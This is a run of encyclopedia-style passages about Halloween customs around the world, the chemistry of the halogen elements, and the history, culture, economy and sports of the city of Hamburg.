          In some parts of the British West Indies, there are celebrations commemorating Guy Fawkes Night that occur around the time of Halloween. The celebrations include using firecrackers, blowing bamboo joints and similar activities. And in other island they celebrate All Saints'. On this evening they go to the cemetery to sing, and light candles on the tomb of their loved ones.


          On the island of Bonaire, the children of a town typically gather to trick-or-treat for sweets among the town shops (instead of people's homes, as in other countries).


          


          The Netherlands


          Halloween has become increasingly popular in The Netherlands since the early 1990s. From early October, stores are full of merchandising related to the popular Halloween themes. Students and little children dress up on Halloween for parties and small parades. Trick-or-treating is highly uncommon, also because this directly interferes with the Dutch tradition of celebrating St. Martin's Day. On the 11 November, Dutch children ring doorbells hoping to receive a small treat in return for singing a short song dedicated to St. Martin.


          


          Malta


          Halloween had never been celebrated in Malta until recently, with its popularity increasing thanks to the many costume parties, usually for teenagers and young adults, being organized on Halloween night.


          


          People's Republic of China


          There is no Halloween in Chinese culture, but there is a similar Chinese holiday called Ghost Festival. The Ghost Festival is a traditional Chinese festival and holiday, which is celebrated by Chinese people in many countries. In the Chinese calendar (a lunisolar calendar), the Ghost Festival is on the 14th night of the seventh lunar month, which is called Ghost Day. In Chinese tradition, the ghosts and spirits, including those of the deceased ancestors, come out from the lower world.


          Hong Kong, a former British colony, does celebrate Halloween every year unlike the Mainland.


          


          Sweden


          In Sweden Halloween is celebrated the same day the Church of Sweden celebrates All Saints day, the first saturday in November. This is due to a misunderstanding when the retail business organizations introduced Halloween in the mid-1990s. Christians and christian organizations do not like this connection and very few Swedes are aware that Halloween in the English-speaking countries is a non-Christian holiday celebrated October 31.


          


          Other regions


          In other regions such as Japan and Germany, Halloween has become popular in the context of American pop culture. Some Christians do not appreciate the resultant de-emphasis of the more spiritual aspects of All Hallows Eve and Reformation Day, respectively, or of regional festivals occurring around the same time (such as St Martin's Day). Business has a natural tendency to capitalize on the holiday season's more commercial aspects, such as the sale of decorations and costumes.


          


          Religious perspectives


          In North America, Christian attitudes towards Halloween are quite diverse. The fact that All Saints Day and Halloween occur on two consecutive days has left some Christians uncertain of how they should treat this holiday. In the Anglican Church, some dioceses have chosen to emphasize the Christian traditions of All Saints Day, while some Protestants celebrate the holiday as Reformation Day, a day of remembrance and prayers for unity. Celtic Christians may have Samhain services that focus on the cultural aspects of the holiday, in the belief that many ancient Celtic customs are "compatible with the new Christian religion. Christianity embraced the Celtic notions of family, community, the bond among all people, and respect for the dead. Throughout the centuries, pagan and Christian beliefs intertwine in a gallimaufry (hodgepodge) of celebrations from October 31 through November 5, all of which appear both to challenge the ascendancy of the dark and to revel in its mystery."


          Many Christians ascribe no negative significance to Halloween, treating it as a purely secular holiday devoted to celebrating imaginary spooks and handing out candy. Halloween celebrations are common among Roman Catholic parochial schools throughout North America and in Ireland. In fact, the Roman Catholic Church sees Halloween as having a Christian connection. Father Gabriele Amorth, a Vatican-appointed exorcist in Rome, has said, "[I]f English and American children like to dress up as witches and devils on one night of the year that is not a problem. If it is just a game, there is no harm in that." Most Christians hold the view that the tradition is far from being "satanic" in origin or practice and that it holds no threat to the spiritual lives of children: being taught about death and mortality, and the ways of the Celtic ancestors actually being a valuable life lesson and a part of many of their parishioners' heritage. Other Christians, primarily of the Evangelical and Fundamentalist variety, are concerned about Halloween, and reject the holiday because they believe it trivializes (and celebrates) the occult and what they perceive as evil. A response among some fundamentalists in recent years has been the use of Hell houses or themed pamphlets (such as those of Jack T. Chick) which attempt to make use of Halloween as an opportunity for evangelism. Some consider Halloween to be completely incompatible with the Christian faith due to its origin as a Pagan " festival of the dead." In more recent years, the Roman Catholic Archdiocese of Boston has organised a "Saint Fest" on the holiday.


          Some Wiccans feel that the tradition is offensive to "real witches" for promoting stereotypical caricatures of "wicked witches". However, other Neopagans, perhaps most of them, see it as a harmless holiday in which some of the old traditions are celebrated by the mainstream culture, albeit in a different manner.


          


          Fiction


          Ray Bradbury's The Halloween Tree features the holiday prominently. Halloween is frequently mentioned as an important date in the Harry Potter book series by J.K. Rowling, whose central themes are wizardry and magic. In Alan Moore's graphic novel Watchmen, several pivotal events occur on Halloween night, including the death of the original ' Nite-Owl'. Washington Irving's The Legend of Sleepy Hollow and the character of the Headless Horseman are often linked to the holiday in the public mindset due to later adaptations (though Halloween is not actually mentioned in the original work).


          Films in which Halloween plays a significant role include adaptations of the above works, plus the Halloween film series, Tim Burton's The Nightmare Before Christmas, Monster House, Donnie Darko, Hellboy, and Hocus Pocus.


          Numerous Halloween television specials have been broadcast, notably It's the Great Pumpkin, Charlie Brown, The Halloween That Almost Wasn't, Witch's Night Out, The Worst Witch, Casper's Halloween Special, Blackbeard's Ghost, Garfield's Halloween Adventure, and the annual Simpsons " Treehouse of Horror" episodes.


          


          Books


          
            	Diane C. Arkins, Halloween: Romantic Art and Customs of Yesteryear, Pelican Publishing Company (2000). 96 pages. ISBN 1-56554-712-8
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          The halogens or halogen elements are a series of nonmetal elements from Group 17 (old-style: VII or VIIA; Group 7 IUPAC Style) of the periodic table, comprising fluorine, F; chlorine, Cl; bromine, Br; iodine, I; and astatine, At. The undiscovered element 117, temporarily named ununseptium, may also be a halogen.


          The group of halogens is the only group which contains elements in all three familiar states of matter at standard temperature and pressure.


          


          Abundance


          Owing to their high reactivity, the halogens are found in the environment only in compounds or as ions. Halide ions and oxoanions such as IO3 can be found in many minerals and in seawater. Halogenated organic compounds can also be found as natural products in living organisms. In their elemental forms, the halogens exist as diatomic molecules, but these only have a fleeting existence in nature and are much more common in the laboratory and in industry. At room temperature and pressure, fluorine and chlorine are gases, bromine is a liquid and iodine and astatine are solids; Group 17 is therefore the only periodic table group exhibiting all three states of matter at room temperature.


          


          Etymology


          The term halogen originates from 18th century scientific French nomenclature based on adaptations of Greek roots: hals (sea) or halas (salt), and gen- (to generate)  referring to elements which produce a salt in union with a metal.


          


          Properties


          The halogens show a number of trends when moving down the group - for instance, decreasing electronegativity and reactivity, increasing melting and boiling point.


          
            
              	Halogen

              	Standard Atomic Weight ( u)

              	Melting Point ( K)

              	Boiling Point ( K)

              	Electronegativity ( Pauling)
            


            
              	Fluorine

              	18.998

              	53.53

              	85.03

              	3.98
            


            
              	Chlorine
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              	610?
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              	(291)*

              	*

              	*

              	*
            

          


          * Ununseptium has not yet been discovered; values are either unknown if no value appears, or are estimates based on other similar chemicals.


          


          Diatomic halogen molecules
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          Chemistry


          


          Reactivity


          Halogens are highly reactive, and as such can be harmful or lethal to biological organisms in sufficient quantities. This high reactivity is due to their atoms being one electron short of a full outer shell of eight electrons. They can gain this electron by reacting with atoms of other elements. Fluorine is the most reactive element in existence, attacking such inert materials as glass, and forming compounds with the heavier noble gases. It is a corrosive and highly toxic gas. The reactivity of fluorine is such that, if used or stored in laboratory glassware, it can react with glass in the presence of small amounts of water to form SiF4. Thus fluorine must be handled with substances such as Teflon, extremely dry glass, or metals such as copper or steel which form a protective layer of fluoride on their surface.


          Both chlorine and bromine are used as disinfectants for drinking water, swimming pools, fresh wounds, dishes, and surfaces. They kill bacteria and other potentially harmful microorganisms through a process known as sterilization. Their reactivity is also put to use in bleaching. Sodium hypochlorite, which is produced from chlorine, is the active ingredient of most fabric bleaches and chlorine-derived bleaches are used in the production of some paper products.


          


          Hydrogen halides


          The halogens all form binary compounds with hydrogen, the hydrogen halides, HX ( HF, HCl, HBr, HI, HAt), a series of particularly strong acids. When in aqueous solution, the hydrogen halides are known as hydrohalic acids. HAt, or "hydrastatic acid", should also qualify, but it is not typically included in discussions of hydrohalic acid due to astatine's extreme instability toward alpha decay.


          


          Interhalogen compounds


          The halogens react with each other to form interhalogen compounds. Diatomic interhalogen compounds (e.g. BrF, ICl, ClF) bear resemblance to the pure halogens in some respects. The properties and behaviour of a diatomic interhalogen compound tend to be intermediate between those of its parent halogens. Some properties, however, are found in neither parent halogen  Cl2 and I2 are soluble in CCl4 but ICl is not, since it is a polar molecule due to the relatively large electronegativity difference between I and Cl.


          


          Organohalogen compounds


          Many synthetic organic compounds such as plastic polymers, and a few natural ones, contain halogen atoms; these are known as halogenated compounds or organic halides. Chlorine is by far the most abundant of the halogens, and the only one needed in relatively large amounts (as chloride ions) by humans. For example, chloride ions play a key role in brain function by mediating the action of the inhibitory transmitter GABA and are also used by the body to produce stomach acid. Iodine is needed in trace amounts for the production of thyroid hormones such as thyroxine. On the other hand, neither fluorine nor bromine are believed to be essential for humans, although small amounts of fluoride can make tooth enamel resistant to decay.


          


          Drug discovery


          In drug discovery, the incorporation of halogen atoms into a lead drug candidate results in analogues that are more lipophilic and less water soluble. Consequently, halogen atoms are used to improve penetration through lipid membranes. However, there is an undesirable tendency for halogenated drugs to accumulate in lipid tissue.


          The chemical reactivity of halogen atoms depends on both their point of attachment to the lead and the nature of the halogen. Aromatic halogen groups are far less reactive than aliphatic halogen groups, which can exhibit considerable chemical reactivity. For aliphatic carbon-halogen bonds the C-F bond is the strongest and usually less chemically reactive than aliphatic C-H bonds. The other aliphatic-halogen bonds are weaker, their reactivity increasing down the periodic table. They are usually more chemically reactive than aliphatic C-H bonds. Consequently, the most popular halogen substitutions are the less reactive aromatic fluorine and chlorine groups.


          


          Solubility in water


          Most halogens are soluble in water, Chlorine and bromine both form a mixture of acids in water. both solutions act as a bleach and chlorine is used in industry as the basis for producing bleach. for example the equation would be: Cl2(g) + H2O(l) -> HCl(aq) + HClO(aq)


          However iodine is not soluble in water (or very slightly soluble).
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          Hamburg (German language: pronounced [ˈhambʊɐk], local pronunciation [ˈhambʊɐ] Low German/ Low Saxon: Hamborg [ˈhaˑmbɔː], English: [ˈhmbəˑg]) is the second-largest city in Germany (after Berlin) and along with Hamburg Harbour, its central port, Hamburg is also the second-largest port in Europe (after Rotterdam), ninth-largest port in the world, and the most populous city in the European Union which is not a national capital. The city contains an approximate 1.8 million inhabitants.


          Hamburg's proper name is the Free and Hanseatic City of Hamburg (German: Freie und Hansestadt Hamburg). It makes reference to Hamburg's membership in the medieval Hanseatic League and also to the fact that Hamburg is a city-state and one of the sixteen Federal States of Germany.


          Hamburg is located on the southern point of the Jutland Peninsula, directly between Continental Europe to its south, Scandinavia to its north, the North Sea to its west, and the Baltic Sea to its east. Hamburg is located in the position where the River Elbe meets with the rivers Alster and Bille. The central city area is situated around the Binnenalster ("Inner Alster") and the Auenalster ("Outer Alster") both of which are lakes. The island of Neuwerk and two other islands in the North Sea are also part of Hamburg, forming the Hamburg Wadden Sea National Park.


          Hamburg is a world-renowned centre of commerce, especially within Northern Germany. It is also a city of diverse cultures, all of which are accepted within the city.


          


          History
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          The city takes its name from the first permanent building on the site, a castle ordered to be built by Emperor Charlemagne in 808 AD. The castle was built on rocky ground in a marsh between the Alster and the Elbe as a defense against Slavic incursion. The castle was named Hammaburg, where "burg" means "castle". The "Hamma" element remains uncertain. Old High German includes both a hamma, "angle" and a hamme, "pastureland". The angle might refer to a spit of land or to the curvature of a river. However, the language spoken might not have been Old High German, as Low Saxon was spoken there later. Other theories hold that the castle was named for a surrounding Hamma forest, or for the village of Hamm, later incorporated into the city. Hamm as a place name occurs a number of times in Germany, but its meaning is equally uncertain. It could be related to "heim" and Hamburg could have been placed in the territory of the ancient Chamavi. However, a derivation of "home city" is perhaps too direct, as the city was named after the castle. Another theory is that Hamburg comes from ham which is Old Saxon for shore.


          In 834 Hamburg was designated the seat of a bishopric, whose first bishop, Ansgar, became known as the Apostle of the North. In 845 a fleet of 600 Viking ships came up the River Elbe and destroyed Hamburg, at that time a town of around 500 inhabitants. Two years later, Hamburg was united with Bremen as the bishopric of Hamburg-Bremen.
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          In 983, the town was destroyed by King Mstivoj of the Obodrites. In 1030, the city was burned down by King Mieszko II Lambert of Poland. After further raids in 1066 and 1072 the bishop permanently moved to Bremen. Hamburg had several great fires, notably in 1284 and 1842.


          The charter in 1189 by Frederick I "Barbarossa" granted Hamburg the status of an Imperial Free City and tax-free access up the Lower Elbe into the North Sea. This charter, along with Hamburg's proximity to the main trade routes of the North Sea and Baltic Sea, quickly made it a major port in Northern Europe. Its trade alliance with Lbeck in 1241 marks the origin and core of the powerful Hanseatic League of trading cities.


          In 1529 the city embraced Lutheranism, and Hamburg subsequently received Protestant refugees from the Netherlands and France. Hamburg was at times under Danish sovereignty while remaining part of the Holy Roman Empire as an Imperial Free City.


          Briefly annexed by Napoleon I (181014), Hamburg suffered severely during his last campaign in Germany. The city was besieged for over a year by Allied forces (mostly Russian, Swedish and German). Russian forces under General Bennigsen finally freed the city in 1814. During the first half of the 19th century a patron goddess with Hamburg's Latin name Hammonia emerged, mostly in romantic and poetic references, and although she has no mythology to call her own, Hammonia became the symbol of the city's spirit during this time.


          In 1842, about a quarter of the inner city was destroyed in the "Great Fire". This fire started on the night of the 4 May 1842 and was extinguished on 8 May. It destroyed three churches, the town hall, and countless other buildings. It killed 51 people, and left an estimated 20,000 homeless. Reconstruction took more than 40 years.


          Hamburg experienced its fastest growth during the second half of the 19th century, when its population more than quadrupled to 800,000 as the growth of the city's Atlantic trade helped make it Europe's third-largest port.
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              Hamburg's central promenade Jungfernstieg on River Alster in 1900.
            

          


          With Albert Ballin as its director the Hamburg-America Line became the world's largest transatlantic shipping company at the turn of the century, and Hamburg was also home to shipping companies to South America, Africa, India and East Asia. Hamburg became a cosmopolitan metropolis based on worldwide trade. Hamburg was the port for most Germans and Eastern Europeans to leave for the New World and became home to trading communities from all over the world (like a small Chinatown in Altona, Hamburg).


          In 1903, the world's first organized club for social and family nudism, Freilichtpark (Free-Light Park) was opened in Hamburg by Paul Zimmerman. It was located on a lake formed by the Alster River in the southern part of the city, adjoining a bathing beach.


          After World War I Germany lost her colonies and Hamburg lost many of its trade routes. In 1938 the city boundaries were extended with the Gro-Hamburg-Gesetz ( Greater Hamburg Act) to incorporate Wandsbek, Harburg, Wilhelmsburg and Altona.


          During World War II Hamburg suffered a series of devastating air raids which killed 42,000 German civilians (see Bombing of Hamburg in World War II). Through this, and the new zoning guidelines of the 1960s, the inner city lost much of its architectural past.


          The Iron Curtain  only 50kilometres (30mi) east of Hamburg  separated the city from most of its hinterland and further reduced Hamburg's global trade. On February 16, 1962 a severe storm caused the Elbe to rise to an all-time high, inundating one fifth of Hamburg and killing more than 300 people.


          After German reunification in 1990, and the accession of some Eastern European and Baltic States into the EU in 2004, Hamburg Harbour and Hamburg have ambitions for regaining their positions as the region's largest deep-sea port for container shipping and its major commercial and trading centre. Since reunification the Greater Hamburg Metropolitan Region gained about 400,000 inhabitants and in 2007 its population was about 4.3 million people.
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              St. Michaelis Church on the 2 coin 2008
            

          


          The skyline of Hamburg features the high spires of the five principal churches (Hauptkirchen) covered with green copper plates.


          
            	St. Michaeliskirche (Saint Michael's Church, nicknamed Michel")


            	St. Nikolaikirche (Saint Nicholas' Church, memorial)


            	St. Petrikirche (Saint Peter's Church, 11th century)


            	St. Jacobikirche (Saint Jacob's Church, 13th century)


            	St. Katharinenkirche (Saint Catherine's Church, 14th century)

          


          (The dates given correspond to the establishment of the respective parish; the buildings are considerably younger)


          Other churches are also visible in the inner city:


          
            	St.Johannis, Harvestehude, Hamburg (Saint John's) at the Auenalster

          


          


          Bridges and tunnels


          Hamburg has a number of prominent buildings from the past and present. The many canals in Hamburg are crossed by over 2,300 bridges  more than Amsterdam (1200) and Venice (400) combined. Hamburg has more bridges inside its city limits than any other city or town on Earth.


          
            	Khlbrandbrcke


            	Freihafen Elbbrcken


            	Old Elbe Tunnel (Alter Elbtunnel)


            	New Elbe Tunnel (Elbtunnel)

          


          Lombardsbrcke and Kennedybrcke divide Binnenalster from Aussenalster


          


          Towers and masts


          
            	Heinrich-Hertz-Turm


            	Transmitter Hamburg-Billstedt

          


          


          Other sights


          
            	Townhall (Rathaus)

          


          Richly decorated Neo-Renaissance building finished in 1896. With its tower of 112 meters it is Europe's highest townhall. On its facade it shows the emperors of the Holy Roman Empire since Hamburg was, as a Free Imperial City, only under the sovereignty of the emperor.


          
            	Chilehaus

          


          A brick stone office building from 1922 spectacularly shaped like an ocean liner. Designed by architect Fritz Hger.


          
            	Stadtpark

          


          Hamburg's "Central Park" has a great lawn and a huge watertower which houses one of Europe's biggest Planetariums. The park and its buildings were also designed by Fritz Schumacher in the 1910s


          
            	HafenCity

          


          To be completed around 2015 Europe's largest inner city development will house about 10 000 inhabitants and 15 000 workers. Its ambitious planning and architecture (amongst others designs by Rem Kolhaas and Renzo Piano will be realized) are slowly coming into shape. Its location in an abandoned area of the harbour is already drawing tourists. In 2008 the International Maritime Museum will open, By the end of 2009 the Elbphilharmonie  by many considered Germany's most exciting new structure  is scheduled to house its first concerts in a spectacular building designed by the Swiss firm Herzog & de Meuron on top of an old warehouse.


          


          Parks


          The many parks of Hamburg are distributed over the whole city, which makes Hamburg a very green city. The biggest parks are the Stadtpark, the cemetery Ohlsdorf and Planten un Blomen.


          


          Culture
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              The smaller Alster (Binnenalster) lake at dusk.
            

          


          


          Theatres


          
            	Altonaer Theatre


            	Theatre Allee


            	Schauspielhaus


            	Ernst-Deutsch-Theatre


            	Hansa Theatre


            	Theatre im Zimmer


            	English Theatre


            	St. Pauli Theatre


            	Schmidts Tivoli


            	Hamburger Kammerspiele


            	Imperial Theater (Hamburg)|Imperial Theatre


            	komdie - im Winterhuder Fhrhaus


            	Thalia-Theatre


            	Thalia Gaustrae


            	Monsun Theatre


            	Theatre Imago


            	Kampnagel-Fabrik


            	Theatre fr Kinder


            	Neues Theatre am Holstenwall


            	Theatre in der Basilika


            	Schilleroper


            	Theaterschiff am Museturm


            	Ohnsorg-Theatrea theatre in which the actors speak Low Saxon (but they speak Missingsch-infused German for national television broadcasts, since Low Saxon is not comprehensible to most German speakers)

          


          


          Politics of Hamburg


          The city of Hamburg is one of 16 German states, therefore the First Mayor of Hamburg's office correspondents more to the role of a minister-president than to the one of a "normal" city mayor. The current First Mayor of Hamburg is Ole von Beust, govern in Germany's first state-wide "black-green" coalition, consisting of the conservative CDU and the alternative Green Party.


          


          Economy


          The most significant economic basis for Hamburg is the Hamburg Harbour, which ranks 2nd only to Rotterdam in Europe and 9th worldwide with transshipments of 9.8 million twenty-foot equivalent units(TEU) of cargo and 134 million tons of goods in 2007. After the German reunification, Hamburg recovered the eastern portion of its hinterland, becoming by far the fastest growing port in Europe. International trade is also the reason for the large number of consulates in the city. Although situated 68miles (110km) up the Elbe, it is considered a sea harbour due to its ability to handle large ocean-going vessels.


          Hamburg, along with Seattle and Toulouse, is one of the most important locations of the civil aerospace industry in the world. Airbus, which has one of its two assembly plants in Hamburg, and related companies employ over 30,000 people in or near the city.


          Other important industries are media businesses, most notably four of Germany's largest publishing companies, Axel Springer AG, Gruner + Jahr, Heinrich Bauer Verlag, Der Spiegel and Die Zeit. About half of Germany's national newspapers and magazines are produced in Hamburg. There are also a number of music companies (the largest being Warner Bros. Records Germany) and Internet businesses (e.g. AOL, Adobe Systems and Google Germany, and also Web 2.0 companies like Qype).


          Heavy industry includes the making of steel, aluminium and Europe's largest copper plant , and a number of shipyards like Blohm + Voss .


          


          Transport


          Hamburg's licence plate prefix is "HH" (Hansestadt Hamburg, English: Hanseatic City of Hamburg), rather than just the single-letter normally used for large cities. The prefix "H" is used in Hanover instead.


          As in most larger German cities, public transport is organised by a fare-collection joint venture between transportation companies. Tickets sold by one member company in this Hamburger Verkehrsverbund (Hamburg traffic group) (HVV) are valid on all other HVV companies' services.


          HVV acts as an overall coordinating body for transport in the Hamburg combination, with representation by the Hamburger Hochbahn (Hamburger Overhead Railway); Deutsche Bahn (German Federal Railroads); AKN railway company (AltonaKaltenkirchenNeumunster Railway); HADAG Seetouristik und Fahrdienst A. G. (HADAG sea-tourism and driving service shares society); VHH (Verkehrsbetriebe Hamburg-Holstein A.G./ Transporting enterprises Hamburg Holstein shares society); PVG (Pinneberger Verkehrsgesellschaft, mbH/ Pinneberger public transport company, Inc); and KVG (Kraftverkehrgesellschaft, GmbH/ Motor Traffic Company, LLC).


          Nine mass transit routes across the city are the backbone of Hamburg public transport. Three lines comprise the U-Bahn and six the S-Bahn system. U-Bahn is short for Untergrundbahn (underground railway). Approximately 41km (25mi) of 101km (63mi) of the U-Bahn is underground; most of the U-Bahn tracks are on embankments or viaducts or at ground level. Older residents still speak of the system as the Hochbahn ("elevated railway"). The Hamburg S-Bahn has a total length of 115.2km (72mi) (8km/5mi single-track, 10km/6mi underground) with 59 stations, of which 10 are underground. A light rail system, the AKN, connects to satellite towns in Schleswig-Holstein. Gaps in the mass-transit network are filled by bus routes, plied by single-deck, two-, three- and four-axle diesel buses. Hamburg has no trams or trolley-buses, but has hydrogen fuelled buses operating pilot services.


          Finally, regional trains of Germany's major railway company Deutsche Bahn AG and the regional metronom trains may be used with a HVV public transport ticket, too. Except at the three bigger stations in the centre of Hamburg, the regional trains hardly stop again inside the area of the city.


          A 24-hour bus network operates as frequently as every 2 minutes on busy routes (30 minutes in suburban areas). There are six ferry lines along the river Elbe, operated by the HADAG company. While mainly needed by Hamburg citizens and dock workers, they can also be used for sightseeing tours at the (relatively) low fees of a HVV public transport ticket.


          Hamburg is connected by four Autobahnen (motorways) and is the most important railway junction on the route to Northern Europe.


          


          Airports


          Hamburg Airport is the oldest airport in Germany still in operation. There is also the smaller Hamburg Finkenwerder Airport, used only as a company airport for Airbus. Some airlines market Lbeck Airport in Lbeck as serving Hamburg.
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          Music


          Famous composers connected to Hamburg include:


          
            	Georg Philipp Telemann (16811767) died in Hamburg.


            	Carl Philipp Emanuel Bach (17141788, son of Johann Sebastian Bach) died in Hamburg.


            	Felix Mendelssohn (18091847) was born in Hamburg.


            	Johannes Brahms (18331897) was born in Hamburg.

          


          Hamburg and vicinity is a popular residency for famous contemporary classical composers. Hungarian composer Gyrgy Ligeti (19232006) also known for his music in films by Stanley Kubrick lived in Hamburg for 30 years and taught at the local music academy. He was succeeded at the Hochschule by the Russian-German composer Alfred Schnittke (19341998) who died in Hamburg. His countrywoman Sofia Gubaidulina (born in 1931) lives on the outskirts of Hamburg. Other important composers living and working in Hamburg are Manfred Stahnke, a pupil of Gyrgy Ligeti's, Peter Ruzicka, Peter Michael Hamel and Babette Koblenz.


          The Hamburg State Opera is one of the leading German opera houses. Its orchestra is the Philharmoniker Hamburg. Hamburg's current Generalmusikdirektorin is Simone Young, music director of both the opera and the orchestra.


          Hamburg's most prestigious orchestra is the North German Radio Symphony Orchestra.


          Hamburg's main concert venue is the Laeiszhalle-Musikhalle, pending the completion of the Elbphilharmonie Hamburg. The Musikhalle which is the home of the Hamburger Symphoniker.


          


          St. Pauli


          St. Pauli is usually associated with the street of Reeperbahn, a synonym for one of the world's most famous red light districts. Singer and actor Hans Albers is strongly associated with St. Pauli, providing in the 1940s the neighbourhood's unofficial anthem, "Auf der Reeperbahn Nachts um Halb Eins." The song explains in a polite way how a sailor enjoys his last day with a trollop before going aboard. St. Pauli is known for giving the Beatles a start in their musical career in the early 1960s. The Beatles lived in St. Pauli and played at the Indra and the Kaiserkeller (1960), the Top Ten Club (1961), and the Star-Club (1962), which was located in the district near the perhaps most famous street of Hamburg, the Reeperbahn. St. Pauli is also known as a centre for the German punk movement.


          


          Contemporary popular


          Nena lives in Hamburg. Sascha Konietzko the frontman and founder of KMFDM is from Hamburg and visits regularly. More recently it is known for some of the most popular German hip hop acts, such as Fnf Sterne deluxe, Samy Deluxe, Beginner and Fettes Brot. There is also a quite big alternative and punk scene which gathers around the Rote Flora , an occupied former theatre located in the district of Sternschanze. Some of the musicians of the famous electronic band Kraftwerk also came from Hamburg. In addition, the members of Tokio Hotel currently reside in Hamburg. Other Hamburg residents include German comedic troop Studio Braun and comedian Helge Schneider. The seemstress Floriana Schmidtess resides in the St. George neighbourhood and counts among the city's elite.


          Hamburg is also famous for an original kind of German alternative music called Hamburger Schule ("Hamburg School"), a term used for bands like Tocotronic, Blumfeld, Die Sterne and Tomte.


          Hamburg was one of the major centres of the heavy metal music world in the 1980s. Many bands such as Helloween, Running Wild and Grave Digger got their start in Hamburg. The influences of these bands and other bands from the area were critical to establishing the subgenre of Power metal.


          Hamburg is also one of the most important global centres for psychedelic trance music. It is home to many record labels such as Spirit Zone, [Mushroom Magazine, the world's best known and longest running psy-trance magazine, as well as many parties and club nights. During the summer people from all over the world flock to the countryside surrounding Hamburg to attend massive festivals such as Voov Experience, Shiva Moon, Tshitraka and Fusion Festival.
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          Since the German premiere of Cats in 1985 there are always a number of musicals being played in the city. Among them have been Phantom of the Opera, The Lion King or Dirty Dancing (before there was Dance of the Vampires). This density, which is the highest in Germany, is partly due to Germany's major musical production company Stage Entertainment being located in Hamburg. One of the musical theatres is a large tent in the harbour, guests either arrive by boat or through the historic Old Elbe Tunnel.


          Hamburg was one city to take part in the Complaints Choir project. Meg Weymes is also a celebrity from Hamburg.


          


          Museums


          Currently Hamburg has 79 museums. Famous and popular ones include:


          
            	Altona Museum and North German State Museum


            	Art Gallery and Gallery of Contemporary Arts and ( Kunsthalle Hamburg und Galerie der Gegenwart)


            	BallinStadt - The History of Emigration


            	Bucerius Kunst Forum


            	Deutsches Zollmuseum


            	Erotic Art Museum


            	Hamburg Dungeon


            	Hamburg Museum for Archaeology and the History of Harburg


            	Neuengamme concentration camp memorial


            	Helms-Museum


            	Johannes-Brahms-Museum


            	Hamburger SV Museum


            	Museum of Art and Design (Museum fr Kunst und Gewerbe)


            	Museum of Communication (Museum fr Kommunikation)


            	Museum of Ethnography (Museum fr Vlkerkunde)


            	Museum of Hamburg History (Museum fr Hamburgische Geschichte)


            	Museum of Labour (Museum der Arbeit) , an Anchor Point of ERIH, The European Route of Industrial Heritage


            	Speicherstadt Museum


            	St. Pauli Museum


            	See also: List of museums in Hamburg in the German Wikipedia

          


          


          Cuisine


          Hamburg is the birthplace of the Hamburger. This is not a myth. The beef patties a German immigrant from Hamburg sold in the 1850s in New York allegedly were named after the butcher and then became a generic term.


          Original Hamburg dishes are Bohnen, Birnen und Speck (Low Saxon Bohn, Peern un Speck, green runner beans cooked with pears and bacon), Aalsuppe (Low Saxon Oolsupp, often mistaken to be German for "eel soup" (Aal/Ool eel), however the name probably comes from the Low Saxon allns [ʔaˑlns], meaning all, everything and the kitchen sink, not necessarily eel. Today eel is often included to meet the expectations of unsuspecting diners.), Bratkartoffeln (Low Saxon Brootkartffeln, pan-fried potato slices), Finkenwerder Scholle (Low Saxon Finkwarder Scholl, pan-fried plaice), Pannfisch (pan-fried fish), Rote Grtze (Low Saxon Rode Grtt, related to Danish rdgrd, a type of summer pudding made mostly from berries and usually served with cream, like Danish rdgrd med flde) and Labskaus (a mixture of corned beef, mashed potatoes and beetroot, a cousin of the Norwegian lapskaus and Liverpool's lobscouse, all offshoots off an old-time one-pot meal that used to be the main component of the common sailor's humdrum diet on the high seas).


          Hamburg is the birthplace of Alsterwasser (a reference to the city's river Alster with two lake-like bodies in the city centre thanks to damming), a type of shandy, a concoction of equal parts of beer and carbonated lemonade (Zitronenlimonade), the lemonade being added to the beer. Hamburg is also home to a curious regional dessert pastry called Franzbrtchen. Looking rather like a flattened croissant, the Franzbrtchen is somewhat similar in preparation but includes a cinnamon and sugar filling, often with raisins or brown sugar streusel. The name may also reflect to the roll's croissant-like appearance -- franz appears to be a shortening of franzsisch, meaning "French", which would make a Franzbrtchen a French roll. Being a Hamburg regional food, the Franzbrtchen becomes quite scarce outside the borders of the city; as near as Lunenburg ( Lneburg) it can only be found as a Hamburger and is not to be had in Bremen at all.


          Ordinary bread rollswithout which a leisurely weekend breakfast in Hamburg is unimaginabletend to be oval-shaped and of the French bread variety. The local name is Rundstck (round piece rather than mainstream German Brtchen, diminutive form of Brot bread) , a relative of Denmark's rundstykke. In fact, while by no means identical, the cuisines of Hamburg and Denmark, especially of Copenhagen have a lot in common. This also includes a predilection for open-faced sandwiches of all sorts, especially topped with cold-smoked or pickled fish. The American hamburger seems to have developed from Hamburg's Frikadelle (or Frikandelle): a pan-fried patty (usually larger and thicker than the American counterpart) made from a mixture of ground beef, soaked stale bread, egg, chopped onion, salt and pepper, usually served with potatoes and vegetables like any other piece of meat, not usually on a bun. (Many Hamburgers consider their Frikadelle and the American hamburger different, virtually unrelated creatures.)


          


          Sports
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          Hamburg is considered Germany's capital of sports since no other city is home to more first league teams and international sports events. Hamburger SV, the most successful team in Hamburg, is a football team in the Bundesliga (which has played in the group stages of the Champions League twice; in 2000/2001 and in 2006/2007). HSV is a six time German champion, a three time German cup winner and triumphed in the European cup in 1977 and 1983. The most famous players in its history are Uwe Seeler, Kevin Keegan, Manfred Kaltz, Felix Magath, Horst Hrubesch, Franz Beckenbauer and Rafael van der Vaart. They play at the HSH Nordbank Arena (average attendance in the 06/07 season was 56 100). The Hamburg Freezers represent Hamburg in the DEL, the highest ice hockey league in Germany. The HSV Handball represents Hamburg in the German handball league. In 2007 HSV Handball won the European Cupwinners Cup. Both teams play in the ultra-modern Colour Line Arena. Additionally FC St. Pauli is a second division (formerly third League) football club. They play at the Millerntor-Stadion which they regularly sell out and are world famous for their anti racist, anti sexist, actively anti Neo-Nazi and left-leaning fans. Hamburg is the nation's hockey capital and dominates the men's as well as the women's Bundesliga with teams like Der Club an der Alster, Groflottbeker THGC, Harvestehuder THC, Klipper THC or Uhlenhorster HC. There are also several minority sports clubs, surprisingly Hamburg has four cricket clubs, Alster CC, HSV Cricket, Pak Alemi CC and Hamburg International CC. Hamburg is also home to the Hamburg Dockers Australian Rules Football club which compete in the German Australian Football League. The FC St.Pauli dominates women's Rugby in Germany. Other first league teams include NA Hamburg (Volleyball), Hamburger Polo Club, Blue Devils (American Football). The Centre Court of Tennis Stadium Rothenbaum with a capacity of 13000 people is the fifth largest in the world and home to the German Open. Hamburg also hosts Germany's most prestigious equestrian events at Reitstadion Klein Flottbek (Deutsches Derby in jumping and dressage) and Horner Rennbahn (Deutsches Derby racing). The Hamburg Marathon (18 000 participants), Worldcups in Cycling and Triathlon are also held here.


